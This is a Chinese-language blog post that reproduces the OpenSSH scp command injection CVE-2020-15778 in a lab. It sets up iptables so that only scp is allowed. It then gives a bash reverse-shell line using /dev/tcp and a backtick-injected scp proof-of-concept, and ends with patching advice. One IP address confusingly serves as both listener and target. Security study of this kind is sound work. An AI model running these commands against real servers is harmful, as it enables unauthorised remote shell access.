OpenSSH 命令注入漏洞(CVE-2020-15778)復現

扶蘇゜發表於2020-12-27

0x00 漏洞介紹

CVE編號:CVE-2020-15778

釋出時間:2020-07-24

危害等級:高危

漏洞版本:<= openssh-8.3p1

漏洞描述:OpenSSH 8.3p1及之前版本中的scp的scp.c檔案存在作業系統命令注入漏洞。該漏洞即使在禁用ssh登入的情況下,但是允許使用scp傳檔案,而且遠端伺服器允許使用反引號(`),可利用scp複製檔案到遠端伺服器時,執行帶有payload的scp命令,從而在後續利用中getshell。

利用條件:知道目標的ssh密碼

0x01 模擬場景

設定iptables策略模擬僅允許使用scp的場景,讓該漏洞在特殊環境下實現命令注入。

0x02 實驗場景部署

靶機環境:Centos 7

滲透機環境:Kali 2019版本

1、檢視ssh版本

ssh -V

測試為漏洞存在版本。

2、測試ssh與scp在正常情況下的使用情況。

可以正常使用。

3、執行ervice iptables status 檢查是否安裝iptables,若已安裝IP tables,可跳過第三步。

(1)安裝iptables

yum install -y iptables 

(2)安裝iptables-services

yum install iptables-services 

(3)centOS7預設自帶firewalld

先停止firewalld服務 
systemctl stop firewalld
禁用firewalld服務 
systemctl mask firewalld  

(4)檢視現有規則

iptables -L -vn

iptables -F是清空預設規則

iptables -L -n --line-number 顯示規則和相對應的編號

4、在Centos中設定iptables策略,禁用ssh遠端連線,但開放scp。

命令:

service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number 

5、測試ssh與scp在已設定iptables策略下的使用情況。

0x03 SSH命令注入漏洞復現

1、在kali建立一個1.sh檔案,並寫入一個反彈shell的bash命令。

bash -i >& /dev/tcp/192.168.207.156/4444 0>&1

2、使用scp命令,把該檔案上傳到靶機的/tmp下

3、在新建的命令列頁面中輸入命令:

4、使用POC,遠端執行命令。

scp 1.sh root@192.168.207.156:'`sh /tmp/1.sh`'

5、可以看到,在輸完密碼後,稍等一會就已經成功反彈了shell,實驗結束。

0x04 漏洞防禦

1、先確保ssh密碼沒有洩露,等一波openssh的新版本吧

2、升級ssh版本

3、等待廠商釋出補丁

相關文章